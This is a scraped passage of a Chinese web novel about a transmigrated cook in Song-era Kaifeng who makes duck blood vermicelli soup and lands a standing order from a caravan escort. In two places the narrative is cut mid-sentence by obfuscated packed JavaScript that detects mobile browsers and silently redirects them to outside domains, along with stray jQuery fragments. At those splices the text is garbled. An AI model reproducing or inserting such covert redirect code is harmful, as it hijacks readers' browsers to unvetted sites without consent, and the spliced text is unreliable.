隔着千年鸿沟与翻转的制度，她不奢望这个时空能有人真正知她懂她。 如今有家人同甘苦，共进退，已是莫大的幸事…… 姜宝珠这一觉睡得格外酣沉，都没听到打更的梆子声。 等她站在柴房里握着牙刷蘸牙粉时，院外有人扬声：“姜娘子？姜娘子可在此处？” 姜宝珠匆匆漱完口，快步往前院赶。 爹爹已先开了门，她一眼认出门外立的正是鸡鸭行的屠家。 一手交钱一手拿货，姜宝珠与人道过谢，弯腰“嘿呀”一声用力，一下将两只大木桶都提进院来。 姜明远忙上前搭手，下一刻又皱起眉：“这气味……珠儿，你莫不是买了沤坏的鸭肉？” 姜宝珠笑：“怎会。再新鲜不过了！” 她说着便掀开一只桶盖——果然鲜灵灵，红艳艳，颤巍巍。 满满一大桶鸭血。 16. 鸭血粉丝汤 “怎想起买鸭肉？可不便宜……”付惜音闻声过来，嘴上嫌贵，眼中却明晃晃淌着对烤鸭的期盼。 下一刻，她便瞧见一大桶鸭血。 “噫——” 看娘龇牙咧嘴地往后退，姜宝珠笑了：“鸭肉也有。” 说着她打开另一只木桶。 唔，勉强也能算作鸭肉吧：鸭肠，鸭肝，鸭肫，还有几幅鸭骨架。 这般组合起来，姜明远看明白了：“这是要熬鸭羹？哦——鸭血羹！” “正是。”姜宝珠点头，“女儿要做鸭血索粉羹。” ——正是后世鼎鼎大名的鸭血粉丝汤。 付惜音“嘶”出一声：“你那双玉角儿卖得正好，不接着做了？” “都做。”姜宝珠解释，“鸭血羹搭着角儿卖正好——有食有饮，相辅相成！” 姜明远捋了把胡须，顾虑道：“这鸭血羹熬起来可费功夫，熬不好了还满是腥气……” 姜宝珠只笑笑。这还是头一回，爹娘没积极捧场。显而易见，他们并不喜欢内脏下水这类食物。 她盖回鸭血桶盖：“爹爹猜猜女儿花了多少钱？” “杂脏不贵，那肚肺羹多卖五文钱一碗。”姜明远沉吟了下，食指中指一点鸭血桶，“约莫……五十文？” “六十文。”姜宝珠答。 付惜音“哎呀”出一声：“珠姐儿，你莫不是糟了诓骗？” 姜宝珠拍拍桶盖，眉尖得意一翘：“两桶合计。” 姜明远一惊，连忙探头看装杂脏那只桶——那鸭架上面还挂着厚肉。 “这全部事件……只六十文？！” 姜宝珠咧嘴一笑。 也不是一开始便如此便宜的。 这些天与厨艺日益增长的，还有她杀价时的脸皮。 那日走进鸡鸭行，屠家忙着操刀抹鸡脖子，姜宝珠也连忙挥起斩价刀： 八文一副的鸭架，她一口气要三幅，鸭肠鸭肫的，多少能搭些吧？ 那屠家也算大气，大手一挥，送你送你！ 他说送，送的是三只鸭自带的肠肫，可姜宝珠说的“搭”是三份——一份鸭肫有十枚，售价十文。 那屠家听罢瞪大眼：“小娘子，你这杀价的刀，可比我杀鸡的刀还霸道哩！” 姜宝珠压根没指望人家能一下应她，接着道：若再买三份鸭肫鸭肝，搭上两份鸭肠，总不过分吧——鸭肠可便宜许多哩！ 见人唉声叹气地点了头，她又清清嗓子：这鸭血淌地上也是白淌，不如也一道搭与我…… 屠家都给气笑了：“小娘子哎，索性我媳妇儿，老娘，连同吃奶的娃都一并搭与你罢！” 姜宝珠一拍巴掌：“未尝不可啊！” “我做的饭可香哩，保管叫你全家吃得赞不绝口！只是……你们食量如何？若吃得太多，我怕是养不起……” “……” 屠家瞪着她猛吸一口气，竟轰隆隆笑出声来。 而后又是好一番拉扯。在姜宝珠“来日定买鸭腿整鸡”的大饼攻势下，这两桶鸭货，终以六十文的价格拿下…… “这鸭血羹不同于煎角儿，无需一个一个包。加料熬制，一锅即出，便易得很！” 姜宝珠随即道出自己选品的关键：“这两桶杂脏少说能做八十碗血羹，若一碗若卖八文，爹娘算算，净赚多少啊？” 姜明远与付惜音一怔，随后谁也不嫌血气腥了，连搬带拿地将两桶鸭下水送进灶房。 上辈子她做过不止一次鸭血粉丝汤。没有暖气的深冬寒夜，完成拍摄关掉镜头，煮一碗热腾腾的鸭血粉丝汤，一口下去——啊，魂儿都暖起来了。 那时用的鸭血是超市里买的，如今得自己煮了。 “还好，尚未凝块。”姜宝珠观察着鸭血桶，又抄起手边的擀面杖猛然一搅—— “呕——” 她抬头，瞧见被熏着的爹娘夺门而出。 而琦姐儿宛如无畏的逆行者，正披着晨光，坚定地踏进灶房来。 近了，姜宝珠才发现她鼻孔里塞着绢丝，不由失笑。 姜宝琦也抿笑了下：“三姐姐，这血物……如何打理啊？” “我来便好。”姜宝珠道，又一指地上另一桶，“琦姐儿帮忙捡一捡鸭肫鸭肝吧，筋膜血油全摘干净，费功夫着呢。” “好。” 姐俩各干各活，姜老爹的声音在灶房门后响起——带着赧然与歉意的： “珠儿，你可还需配菜？爹爹去买。” 姜宝珠瞟了眼灶台上的豆腐：“已备齐活啦。” 促狭一笑，她又扬声：“爹爹阿娘等着吃血羹便好！” “……” 无人应答。 姐妹俩对视一眼，嗤地笑出来。 乐完继续干活。 桶里的鸭血可以等凝固后直接下水煮，可那样的话腥气会比较重，煮出来的血块也有泡有坑，不太美观。拿上台面卖的东西，还是要做得细致些。 姜宝珠翻出家里最大的两只木盆，水加半盆，再加盐，最后再放点食用油进去——别小看这点油，煮出来的血块会光滑平整许多。 翻出过筛用的竹篓子，又加了层棉纱布，她唤来妹妹帮忙，将桶里的鸭血过筛倒进大盆里——幸而筛了这么一下，否则晚上可有食客要吃鸭毛了。 加了盐的血凝固很快，静放片刻后，姜宝珠抄起菜刀，将盆里凝固的鸭血切豆腐一样划成一块一块的。 两孔灶眼都架上锅，盆中的血块冷水下锅，小火煮，煮的时候水最好全程都不要沸，这样煮熟的鸭血才会细腻嫩滑。 成品出锅，姜宝珠十分满意——嫩豆腐似的血块，没一点科技与狠活。 她刚才兑血时倒了差不多两倍水，等于一桶鸭血出了两桶血块，成本比设想的又降了点！ 晚上要卖的切成拇指大的小块，其余不用的放泡盐水里保存。 那厢，琦姐儿也将鸭肫鸭肝清理干净了。 只剩鸭肠。 姜宝珠翻出碱面，哗啦啦倒了小半罐到鸭肠堆里。 碱面跟鸭肠使劲揉吧揉吧，清水再过一遍，鸭肠基本也干净了。 姜宝琦在一旁很快看明白，姐姐再放第二遍碱面时，她伸手把活接了过来。 小姑娘鼻孔里的绢丝早拿掉了，并非是久闻不知臭，而是血啊肠啊经姐姐这么一处理，真的没什么异味了…… 一手抓俩鸭脖子，姜宝珠将鸭架拎出来洗干净，开始熬汤。 冷水下锅放葱姜，她拿出香料盒，添了点桂皮，陈皮和茴香进去。犹豫片刻，又抠抠搜搜加了两粒白芷和丁香。 ——蛮贵的嘞！都是从药铺买来的，丁香还是“进口”的呢。 撇掉浮沫，火烧开转小，再煮半个时辰——这个过程便是吊高汤了。 吊汤的功夫，正好将其余食材都备好：加姜片和食盐，鸭杂下水煮熟。 鸭胗鸭肝煮两分钟，鸭肠烫三十秒就足够。出锅的鸭肠再过下冷水，口感特别脆。 绿豆粉不用煮，冷水里泡开，食客下锅滚一会儿就熟——哦，她还得去买个笊篱，就上回吃米线时见那婶子用的…… 最后，姜宝珠拿过灶台上的豆腐——这是从对门王婆那儿买的，正儿八经的卤水老豆腐。 豆腐切小块，锅里下油——得亏阿娘没瞧着，否则这用油量她得心疼得直嘶气。 油温三成热时下锅，小火炸到豆腐块像小面包一样蓬起来，四面焦黄。 出锅后，姜宝珠吸溜着气，捻起一块烫手的豆腐撕开——蜂窝似的内部看起来跟豆泡一样。 她又将小块扔进口中——嗯，吃起来也跟豆泡一样！ 炸豆泡一次就成功，那以后，她是不是可以开发下夜宵摊？比如闻着臭吃着香的那味名小吃…… 甩甩脑袋收回贪心的思绪，姜宝珠揭开汤锅盖。 一股热气糅杂浓郁鲜香扑面而来。 雾气散去，一大锅奶白的老鸭汤咕嘟得正欢。 “好香啊！”姜宝琦在锅边小声赞道。 姜宝珠朝妹妹眨眨眼：“琦姐儿吃头份儿！” 她取出一只碗，碗底放盐，再加一撮自己配的“十三香”，一大勺高汤浇下去冲开。 第一位加入汤碗的食材是煮熟的粉丝。琦姐儿随爹娘不食血物，姜宝珠就没给放鸭血块，鸭肠鸭肝鸭肫码进去，再多放两块豆腐泡。 最后再撒一把香菜碎和蒜苗——论增香体味，蒜苗比葱花更胜一筹。 连筷子带碗递给琦姐儿时，姜宝珠瞧了眼外面的日头。 这鸭血粉丝汤加上煮血块洗鸭肠的时间，才花了不到一个时辰，比煎角儿省事儿太多了啊！ 听见吸溜吸溜嘬粉声，姜宝珠问：“如何？咸淡可需增减？” 没人回答她，嘬粉声也停了。 姜宝珠抬眸，看见琦姐儿端着碗走到灶旁，舀了一大勺鸭血块放碗里。 扭头对上姐姐讶异的眼，她还有点不好意思：“这……鸭血索粉羹，怎能少了鸭血——哦，不是说旁的杂脏不好吃！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522620|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为佐证似的，她又挟起一大筷子鸭脏送嘴里，口齿不清的：“鸭肠……垂垂的！” “还有这炸豆腐，吸饱羹汁——呜！” 看妹妹被爆汁的豆泡烫到舌头，姜宝珠笑了。 怪不得好些人爱看小孩吃饭呢，如此憨态可掬，谁不乐意看。 琦姐儿也只有吃到好吃的，才会像个小孩子…… “慢些吃，多着呢——”忽而想到什么，姜宝珠转回灶台。 炸豆腐剩下的油收回碗中，锅里只剩个底儿。方才鸭架上剥下来的鸭皮鸭肉下进去，小火慢慢煸出鸭油来。 茱萸碎，花椒粉，盐，芝麻粒，红曲米混和装碗，滚热的鸭油浇给—— “滋啦——” 姜宝珠深深嗅了下这熟悉的香气，口齿生津。 茱萸烘过，再加红曲米调色，不论是颜色还是味道都与后世的辣椒油有七八分像了。 满室辛香！ - “润兔，你闻——”杜琮轻勒缰绳，深深吸了口气，“好香啊！” 牵马的厮儿也停下脚，抻着脖子使劲嗅了嗅：“哥儿，这桂花开得比往年早呐。” 话音刚落，他屁股上就挨了一脚。 “哪来花儿不花儿的，我是叫你闻这灶间香。”杜琮猛吸空气，用力到头上的芍药都在颤，“有人在下灶——熬羹！” “……” 润兔打量周遭旧巷民房：“这……并无酒楼食肆啊。” 杜琮啧啧两声，指头晃了晃：“你这厮儿不懂，常言道：书中自有黄金屋，美味常从民~间~来！” 润兔撇撇嘴，极小声：“甚么常言道，后半句是哥儿瞎编的……” “没一点腥味膻气，绝非鱼羊做羹，想是鸡鸭禽类——还是今儿天没亮新宰的。” 杜琮没听见小厮吐槽，完全沉浸在飘飘香味中：“这鸡鸭囫囵个儿下锅，文火慢熬，定能熬出一锅奶白浓羹来！” 他说罢翻身下马。 十七八岁的少年人，面容俊俏，举手投足间都有种被富贵豢养的慵懒骄纵，倒也称得上一句“纨绔风流”。 唯一不够倜傥的便是那鼓出来的肚子，单看紧绷的抱肚腰带，便知多少鲜香麻辣尽在其中。 “若只是肉香也罢，可这香味层层叠叠，奇异极了，绝非寻常汤羹能有。”杜琮猛地一甩扇骨，“不成，我得去寻清楚，看这羹里到底放了甚么这般香！” 他扭头吩咐另外一厮儿：“羊舌，你先牵糍糕回府。与母亲说我不回去用昼食了。” 名唤羊舌的小厮哭丧着脸牵过马：“哥儿，今日表姑娘来府，这家宴您不去，大姐儿定会动怒的……” 杜琮早阔步走远了。 “哥儿，二哥儿——”润兔招呼着随从家仆，忙不迭跟上去，一边哀叫，“哥儿啊，咱能寻个体面些的法子么……” 哪有狗儿似地追着味，一路寻到人家家里头的啊…… 行至巷深处，杜琮心头一喜——这香味愈发浓郁不说，更添一股辛香油气！ 站定在一户敞着大门的院落前，他一眼瞧见新开的商窗。 嘿，巧了不是，竟是户卖吃食的！ 系围裙的妇人走出来，杜琮叉手一礼：“冒昧，您这羹闻着奇香无比，敢问是甚么羹？” 方婶子微怔，扭头看了眼自家灶房：“我这是卤货。方才倒是用羹开过老卤……” 竟是卤货吗？ 杜琮意料之外，又觉情理之中——怪不得会有辛香油气呢。 他又道：“可是还未开张？能否先卖些与我，价钱嘛……好说。” 方婶子眼睛都亮了。 她方才在院子里一眼就瞧见这哥儿腰间悬的那块羊脂玉，本以为是哪家公子哥儿迷了路，不想是财神爷到了啊！ “使得使得！”方婶子喜不自胜道，“衙内真识货，我这可是家传卤子，滋味没得说！” 她嗓门越拔越高，巴不得叫街坊四邻都听到，尤其那隔壁姜家姐儿，合该来瞧瞧嘛——她还没开张便有人寻着味追上门了，不比在桥头撑摊叫卖强！ 方婶子喜滋滋去捞卤货，走两步又复返：“今日还未备打包提盒，衙内若不嫌弃……院中请坐？” “不叨扰。”杜琮朝身后勾勾手。 润兔会意，也朝身后一挥手。 两名随从立刻变戏法似地从背上拿出折叠凳案，殷勤地摆在自家哥儿身侧。 “趁热用才不失滋味。”杜琮大喇喇落座，“我在此处静候卤货上桌！” 17. 鸭血粉丝汤 姜明远和付惜音连汤带水吃完两大碗索粉羹。 压根不用姜宝珠劝，吃过头汤的琦姐儿便是鸭血索粉羹的最佳代言人： “当真一点不腥！这杂脏我与三姐姐洗过四五遍，不能更干净了！” “鸭羹鲜，鸭肠脆，索粉滑，那炸豆腐一咬还会爆汁哩！” “这茱萸油是三姐姐用鸭油新烹的，香得冲天！” …… 见小女儿夸得俩眼放光，又见这端上来的汤羹里并无鸭血，两口子犹疑着提筷吃起来。 然后就真香了。 看爹娘吃得吸溜不停，姜宝琦一脸“我就说吧”的自得，而后又叹出口气：“这少了鸭血的羹汤，也失掉大半滋味……” 姜明远诧异抬头：“琦儿吃的添鸭血了？” “自然。”姜宝琦，“三姐姐连筛带煮，将那鸭血做得跟嫩豆腐似的！” …… 两碗汤羹热腾腾下肚，额角都沁出汗，夫妻俩满足地长舒一口气。 姜明远将空碗送进灶房，不知怎的，琦儿那句“嫩豆腐似的鸭血”总响在脑中。 他咂了咂唇，鬼使神差转回到灶台跟前。 煮好的鸭血浸在大盆里，表面真如豆腐般光洁平整，颜色看起来也不像方才那般猩红可怖了。 姜明远眉心动了动，伸过手—— “爹爹——” 搜地缩回胳膊，姜明远若无其事背着胳膊往外走：“何事？” “女儿出门去买笊篱。”姜宝珠从西厢房出来，“爹爹，那鸭血块我已煮熟浸盐水中。吃前稍加冲洗，切小块便好。” 姜明远胡须抖了抖：“我……并无意食用。” “女儿晓得。”姜宝珠狡黠一笑，“顺口一提罢了。” “……” 她咧着嘴拉开院门，忽闻巷中乍起一声怒喝。 “你浑说！” 方婶子的嗓门一如既往极具穿透性：“老娘今儿才起的老卤，怎会有酸腐味？” 她门前立着一陌生男子，穿着和姿态都很惹眼：那身襕杉布料名唤“孔雀罗”，颜色如雨过天青般雅致，阳光下可见暗纹流动。 这等低调精贵的纹理同样浮现在黑缎鞋头上——他连鞋底都一尘不染。 总之，此人乍一看好似风流文雅的书生，实则浑身上下都写满了：爷很有钱。 富哥儿不仅有钱，嘴还挺毒：“你那舌头若如有口齿一半伶精，便能尝出酸腐味了。” “呸！方才还夸我卤货闻着香，吃到嘴却变脸——你莫不是吃白食来的？” ——啧，别说，方婶子这胡搅蛮缠，不畏富贵的泼辣相，姜宝珠倒真有两分叹服。 男子冷呵出一声，抬手朝地上扔出一串钱：“败兴而归，算我倒霉！” 他甩开袖子气鼓鼓走了，转身时亮出头侧簪花，姜宝珠眼睛一亮。 宋人爱花成痴，男子簪花是常事——可这般稀有的紫色芍药绝对少见，何况现在还不是芍药的季节…… 几个小厮儿“哥儿哥儿”地唤着追上去，一行人很快没了踪影。 方婶子还在骂骂咧咧，扭头瞧见姜宝珠，面色讪讪： 本想些捡回些颜面，没成想又让人瞧了笑话…… 哐当关上门前，她倒没忘捡起地上的钱。 姜宝珠没理会她，边走边寻思：那卤货若真有异味，煮开应该就能闻到，怎会闻起来香，吃起来馊呢…… 左右是旁人家的热闹，想不明白便不想。姜宝珠买好笊篱便回家，一下午做出一百个蒸角，二百个煎角。 到了出摊时辰，姐俩儿推着灶车往桥头去。 之前仿姜记煎角儿的俩汉子也正在对面支摊。打上回张二锤出了丑，他们第二日便灰溜溜重新买起炊饼馄饨。 没几日，其余跟风的煎角摊也渐渐没了踪影。 这般结果一点不意外：一来姜宝珠的“双玉角子”已打出名气，有口皆碑下，人人都知这丝网脆底的角儿乃她招牌原创； 二来，“仿品”角子不论造型还是味道都和她的没得比，不少食客也愿意多花几文钱吃点好的。 ——还真应了郑婶子那句话：做生意，还须用心经营。 瞧见姜家灶车上今日添了不少东西，郑婶子很快反应过来：“这是……要卖新吃食了？” “是。”姜宝珠笑笑，跟摊前排队的熟客介绍道，“今日添新品：鸭血索粉羹。” 她说着，将配菜一一摆上案板：鸭肠鸭肝鸭肫豆腐泡都装在统一木碗里，看上去干净又明朗。 汤锅掀盖，鲜香热气顿时四散开来。 姜宝珠随即道出早定好价格：基础款自带鸭血鸭肠，三块豆泡，仅售六文。 加两文，添一大勺鸭肝鸭肠。 再加两文，添一整个脆嫩大鸭肫！ 姐姐还没介绍完，姜宝琦这厢已持勺端碗，摆出“迎战”姿态——她还记得第一日开张的盛况，这鸭血索粉羹便宜又美味，怕是比煎角儿还好卖哩！ 可让小姑娘意外的是，这排队买煎角儿的人过了好几个，才有一人要了一碗六文的羹尝尝。 之后频率差不多也如此——来买煎角儿的七八人之中会有一人捎带买羹。 期间还有两人因为鸭血羹不能打包带走，遂作罢。 等三百个角子卖掉大半，鸭汤锅还是满的——也就卖出去十几碗吧。 姜宝珠有些沮丧，更多的是不解：应该不是味道差的缘故，鸭血羹虽然卖得少，可用完的食客都挺满意。 也不太可能是因为不便打包——之前煎角儿没出打包提篮时，不也卖得很好么。 到底哪里出了问题呢？姜宝珠挫败地吁出口气。 “三娘，这羹熬了许久罢？”郑婶子听见她的长吁短叹，主动搭话，“闻着就恁香！” 姜宝珠摇摇头：“没费多少功夫。” “婶子做生意三十年，你这汤头我一瞧便知好。”郑婶子顿了下，咂舌，“只是在你摊儿上，怕不好卖……” 姜宝珠眼睫动了动，扭头看她：“婶子但说无妨。” 郑婶子有些不好意思：“那我便托个大说两句，你可别往心里去——” “这街上卖杂脏，血羹的不少，有人好这口滋味，有人图便宜，可也有好些人啊，他瞧见便觉着腥气，嫌不干净——婶子自然晓得你做得干净，可三娘，你且思量——” “你这双玉角儿比旁人卖得都贵，为何食客单认你？不就图你用料新鲜，花样雅致么——来你这的既不是图便宜的主儿，喜食便宜杂脏的，又有多少呢？” 姜宝珠恍然大悟。 郑婶子这话不无道理啊。 后世的鸭血粉丝汤卖得好是因为声名在外，即便平时吃不惯下水的人也高低想尝一尝。 可她这鸭血索粉羹并没有名气光环，相反，不少人还跟她爹爹阿娘一样生性排斥血物…… 除此之外，或许还有一个缘故：她选品时只想有吃有喝，却忽略了鸭血羹可能和煎角儿味道上并不搭。 此间调料并不丰富，宋人也不嗜辣。蘸着茱萸来一口煎角儿，再喝一口鸭油辣汤，舌头简直要起火…… 姜宝珠望着对面一手煎角儿一手香饮子的小娘子，再次懊恼自己判断失误： 就算搭卖味道普通的红豆羹或甘草水，可能都不会只卖十几碗吧…… “要我说啊，你这双玉角儿既有了名气，合该趁热打铁才是。”郑婶子继续道，“这羹不卖也罢，熬起来忒费功夫！” 姜宝珠笑而不语。 郑婶子这话其实藏着私心——姜记小摊搭卖鸭羹，正和她的汤羹生意撞上。 嗐，有私心也很正常。出来摆摊的，谁不想多赚点呢…… 夜色渐浓，小摊上的煎角儿所剩无几。 往常这个时辰姜宝珠已经收摊回家了，此刻看着剩余大半的汤锅，她决意再多呆一阵子。 能多卖几碗算几碗吧，这般鲜美的鸭汤，浪费了多可惜…… “掌柜的，煎角儿怎生卖？” 姜宝珠抬头，顿住，继而仰起脖子。 我滴真人菩萨。 险些以为书中那个身长八尺，浑身上下有千百斤力气的打虎武松从书里跑出来了！ 眼前的黑衣汉子高大魁梧不说，牵的驴子比一般马还壮实，这一人一驴投下的黑影将小摊罩得死死的。 姜宝珠咽了下嗓子：“告官人，煎角儿一碟五枚，豚肉馅的十五文，鱼肉——” 那汉子挥了挥蒲扇大的巴掌，不耐烦打断她：“管他甚馅，这些俺全要了，速速下锅！” “……好嘞。” 案板上的煎角儿只剩十枚，姜宝珠一股脑儿下锅。 蛮汉子没有打包，出锅后便立在桥头吃起来。 只见他瞪大眼睛打量连成一片的漂亮脆底，口中嘟哝了句什么，随后拿起筷子，毫不留情戳下去。 咔咔嚓嚓—— 满盘花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531832|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底立时稀碎。 汉子这才满意地捻起角儿扔进嘴里，一口一个。 十枚煎角儿转眼下肚。 “香啊！真香！”他边嚼边赞，扭头又看小摊布幌，“临走还能有如此口福，真他娘痛快！” 空盘子大喇喇一伸：“再来两盘！” 姜宝珠面露难色：“对不住官人，奴家这煎角儿卖光了。您这碟乃最后几枚……” 汉子诧异，而后起身，将小摊里外里打量一遍。 取信一枚煎角儿不剩，他遗憾叹息：“罢，怨我来迟了……” 待人转身之际，姜宝珠瞥见他眼角的皱纹与颧骨处的日晒红。 “官人留步！” 汉子止步，满面期待：“又有煎角儿了？” 姜宝珠没说话，笊篱兜起一大把绿豆粉下锅。 拿过洗干净的面浆水盆，她装了满满一大盆鸭汤。 煮熟的粉丝，鸭内脏和豆泡也一样不少地堆进去。 留意到汉子吃煎角儿时蘸了不少茱萸酱，姜宝珠最后又浇下两大勺茱萸鸭油。 递上这样一大盆热气腾腾的鸭血粉丝汤，她笑道：“既要出远门，这鸭血羹垫垫肚子正好——白饶与官人，权当践行礼！” 反正也卖不出去，给这风餐露宿人一点安慰，且当日行一善吧。 那汉子愣了愣，再无方才蛮相，立马抱拳道：“掌柜的仁义，屠某谢过！” 许是真饿了，他一点没推辞，端起汤盆就喝起来。 白得的吃食，本不指望有多美味，然第一口汤羹下肚，汉子俨然愣了下。 是鸭血？ 竟有如此嫩滑鸭血！ 轻轻一抿便在口中化开，毫无半点腥气。 食指大动，他挑起一大筷子索粉裹挟鸭杂送入口中。 啧，这掌柜的是真实在，什么好货都往里放啊。 鸭肝粉糯，鸭肠蜷成脆脆的圈，大鸭肫更是韧得弹牙，与筋道索粉一起滑入喉中，一路暖到胃里——熨帖至极的满足感。 唉，只是少了些，他三两口便吃干净。 撂下筷子，汉子捧着盆吹了吹汤头，咽下一大口。 醇厚鲜美自不必说，最绝的是这羹里的茱萸油妙极了，恰到好处的辛香刺激着味蕾，他全身关窍仿佛都被打开，通体舒畅！ 喟叹“啊”出一声，汉子头都埋进盆里，咕咚咕咚越喝越快。 姜宝珠和琦姐儿对视一眼，四目微瞠——这一大盆下肚的速度，一点不比刚才吃煎角儿慢啊…… 直到汤汤水水一丝不剩，那汉子才依依落下胳膊——看这满足到飘飘然的神色，仿佛喝的不是羹，而是一大盅烈酒。 “过瘾！”他喝出一声，冒汗的糙脸满面红光，人仿佛年轻了好几岁。 “姜掌柜，你这鸭血杂脏好生香，热羹下肚，比大口吃肉还过瘾哩！” “谢屠大哥赞誉。”姜宝珠眉眼弯弯，“如今天儿凉了，鸭血暖身，热羹解乏，江湖路上来一碗——心里踏实！” “可不是！”汉子跟遇见知音似的直拍大腿，他也不着急走了，小山似的压在桥墩上，跟姜宝珠唠起来。 “掌柜的有所不知，我们这趟镖要往河北去，临近中秋，路上怕少不了折腾……” 原来是镖队的，还是个镖头。 他们这一趟走的是急镖，须赶在中秋前回京，这才夜里出发。也是辛苦。 唠了一会儿，屠镖头起身一指汤锅：“姜掌柜，这锅好羹我全要了，带回去叫兄弟们暖暖心窝子，赶路也有劲头。” “杂脏索粉也尽数与我——只一样，不可再白饶了！” 姜宝珠怔了下，随即心中大喜——一晚上卖不动，一卖就卖出一大锅，还真是峰回路转啊！ “屠大哥大气！”姜宝珠手上刷刷打包，嘴上还不忘来两句好听的，“要我说啊，出远门就该吃鸭血羹——血旺血旺，一路财神都来撞！” “好彩头，会说话！”屠镖头仰天哈笑几声，笑得摊上案板都在震。 笑完他又朝姜宝珠一拱手：“便借掌柜的吉言！” 配菜调料装进提篮里，鸭汤没法打包。屠镖头挥挥巴掌表示小问题，而后他长臂一伸，单手将大铁锅轻轻松松抱怀里，又说一刻钟后再潜人把锅送回来。 转身要走，他又若有所思：“天儿转凉，合该多吃些热乎的……掌柜的，往后你将鸭血羹送来镖队可行？” “每月二回，每回三大锅！” 18. 养小鸭崽 可行？ 可太行了！ 姜宝珠满口应下，脑中算盘打得啪啪直响： 一锅鸭血索粉羹利润七百多文，一个月若送去镖局六锅—— 能赚四五贯钱呢！ 这比摆摊一碗一碗卖方便不少，重要的还拓展了客源：往后和镖队混熟了，有机会搭卖点煎角儿或是旁的什么，更有的赚！ 煎角儿生意如今已稳定下来，若加上这鸭血索粉羹“外卖”，她一个月想来能入账二三十贯。 ——姜宝珠仿佛看到属于自家的小院和食肆，已经在不远处嘿呀哈呀地挥手了…… 头回外送便敲定在中秋当天，好叫风尘仆仆的镖队一回来就能喝上热羹。 镖头付了一贯定钱，抱着汤锅走远了。 姜宝珠瞟了眼沉默的郑婶子：“婶子，你平日可忙？” 不等人回答，她又立刻道：“若得空，帮我一同做这送去镖队的鸭血羹，如何？我与婶子帮工钱！” 郑婶子愣住：“这……怎好意思呢？” “婶子莫见外。”姜宝珠冲她熟稔一笑，“那镖头说的你也听到了，他们来去不定，这羹随叫随送，要的还多，我和琦姐儿恐忙不过来，婶子若来可是帮大忙呢！” “左右一月只熬两回羹，绝不耽误你生意！” 郑婶子目光动了动：“一两回……这鸭血羹平日不做了？” 姜宝珠摇摇头：“婶子方才说的是，我合该趁热打铁卖好煎角儿。这羹平日便不卖了。” 她刚才就想好了，这鸭血索粉羹在摊上卖不动，果断撤下——反正镖队那边赚的已足够。 小摊是她目前最宝贵的平台，必须再上个能打的新品。 方才那话虽有意卖郑婶子个好，却也是真需要帮手——每回要做三大锅啊！ 听到她平时不卖羹了，郑婶子捻酸的不快一扫而光，又喜笑颜开了：“成，三娘既大方与我赚，有钱不赚是蠢材！” 忽而想到什么，她赶快正色道：“你放心，我只在外间打下手——你那独家秘方，我绝不觊觎！” 姜宝珠噗笑出来：“我信得过婶子！” 两人说定每回帮工钱三百文。郑婶子是个实心眼的，得了人好处，便不吝于哐哐往外拿。 一会儿荐她家两个好大儿跑腿送羹：“那俩夯货旁的不会，力气倒有的是。” 一会儿又说她和鱼虾行有交情：“下回随婶子去买，包你每斤净省十文！” 两人正交头接耳交换市价情报时，桥下有人突然嚎出一嗓子：“二哥儿——” 姜宝珠循声望过去，只见一朵大紫芍药——哦，是簪紫芍药的大孔雀快步上桥来。 ——不正是晌午与方婶子拌嘴的富哥儿吗！ 富哥儿径直冲姜宝珠而来，一手还在空中点点点：“可算叫我寻到了——” 姜宝珠顿感不妙，又摸不着头脑。 她一安安分分赚钱，老老实实花钱的守法百姓，几时得罪过这等人物？ 富哥儿气势汹汹近了，悬空的手顿住，竟规规矩矩叉手一礼：“敢问小娘子，城门镖队抢食那鸭血羹可是你熬的？” 抢食？ 姜宝珠怔了下，点头：“不错。” “果然叫我寻到了！”他仰头又长叹一遍，鬓边的芍药都在洋洋得意，“娘子这羹藏得当真深，我寻得好生辛苦！” 听人细细道来，姜宝珠才知原委：富哥儿姓杜，食不厌精老饕一枚，晌午在巷口嗅着她熬的鸭羹，瞬间香迷糊了。 循味找过去，不想误打误撞吃上隔壁方婶子的卤货。 “如何，润兔？”杜琮扭头问身后的厮儿，“爷这鼻子何曾出过错？分明是那泼婶子冤我！” “……” 润兔耸拉着脑袋一动不动，似是要将青石桥盯出个窟窿来。 低声些吧我的哥儿！ 此等糗事何必说得这般敞亮呢…… 杜琮却说得愈发声响：“……方才忽而又闻见了，我跟过去一瞧，嚯——那伙镖师吃得正酣畅！” “锅早见底了，大勺还刮得直响。三五人抢最后一碗羹，没抢到的恨不得挥枪！” “见我上前打听，呵，差点连我一起打……最后还是那镖头告诉我，说这羹是打娘子这儿买的，就在桥头。” 姜宝珠听得好笑，又有些说不上来的感动——她不久前才为鸭血羹卖不动而沮丧，转眼镖头便下了长单。 更有人“寻羹千百度”，可见自己手艺确实不差嘛。 “得衙内赏识，奴家在此——” 杜琮摆摆手打断她：“小娘子，我实在好奇你这鸭羹里放了什么料，香气层层叠叠不说，何以还有一缕辛香？” 姜宝珠眉心动了动——好灵的鼻子，连她烹辣油的味道都闻到了！ 她莞尔：“衙内果然行家，那辛香并非熬羹，乃我用滚热的鸭油烹调茱萸等几味调料而得。” 杜琮恍然扬眉，兴致更昂：“好巧思，辛香鸭油佐鸭羹，风味相生！如此——” 他往桥墩上一坐，长手一伸：“请娘子速速为我来碗鸭血羹——要多添那辛香鸭油！” “……” 姜宝珠哭笑不得：“这……对不住衙内了。” 不等她解释，一旁的郑婶子早忍不住笑开：“早卖光啦！” “连羹带锅都与那镖头端走了！” - 又跑空一回，杜衙内要闹了。 